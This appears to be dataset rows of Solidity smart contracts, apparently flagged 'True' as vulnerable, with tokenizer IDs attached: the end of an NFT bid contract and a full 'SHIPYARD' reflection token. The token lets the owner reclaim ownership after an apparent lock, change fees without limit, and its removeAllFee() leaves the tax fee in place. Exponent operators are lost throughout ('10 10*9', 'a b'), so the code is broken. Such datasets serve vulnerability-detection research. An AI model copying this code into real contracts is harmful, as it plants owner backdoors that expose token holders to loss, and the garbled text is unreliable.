BidWithdrawn(tokenId, bid.value, msg.sender); uint amount = bid.value; tokenBids[tokenId] = Bid(false, tokenId, 0x0, 0); // Refund the bid money msg.sender.transfer(amount); } /// @notice Allows a sender to withdraw any amount in the contrat function withdraw() external { uint256 amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1013, 1013, 1030, 2516, 9413, 2278, 1011, 13913, 3115, 8278, 10788, 1013, 1013, 1013, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 1041, 11514, 2015, 1013, 1041, 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/** Submitted for verification at Etherscan.io on 2021-09-18 / /** Submitted for verification at Etherscan.io on 2021-09-18 / /** Submitted for verification at Etherscan.io on 2021-09-18 / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIPYARD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address public _teamWallet = 0xB9Bcffb4c074b21D301EC563B69Ca7FAAa1358cD; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Floki’s Shipyard \| t.me/flokisshipyard"; string private _symbol = "SHIPYARD"; uint8 private _decimals = 9; uint256 public _taxFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 public _teamFee = 0; uint256 private _previousTeamFee = _teamFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 4000000 10*9; uint256 private numTokensSellToAddToLiquidity = 8000000 109; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 teamFee) external onlyOwner() { _teamFee = teamFee; } function setMaxTx(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = maxTxPercent; } function setNumTokensSellToAddToLiquidity(uint256 _numTokensSellToAddToLiquidity) external onlyOwner() { numTokensSellToAddToLiquidity = _numTokensSellToAddToLiquidity; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tTeam = calculateTeamFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[_teamWallet] = _rOwned[_teamWallet].add(rTeam); if(_isExcluded[_teamWallet]) _tOwned[_teamWallet] = _tOwned[_teamWallet].add(tTeam); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateTeamFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_teamFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _teamFee = 0; _previousTeamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2324, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2324, 1008, 1013, 1013, 1008, 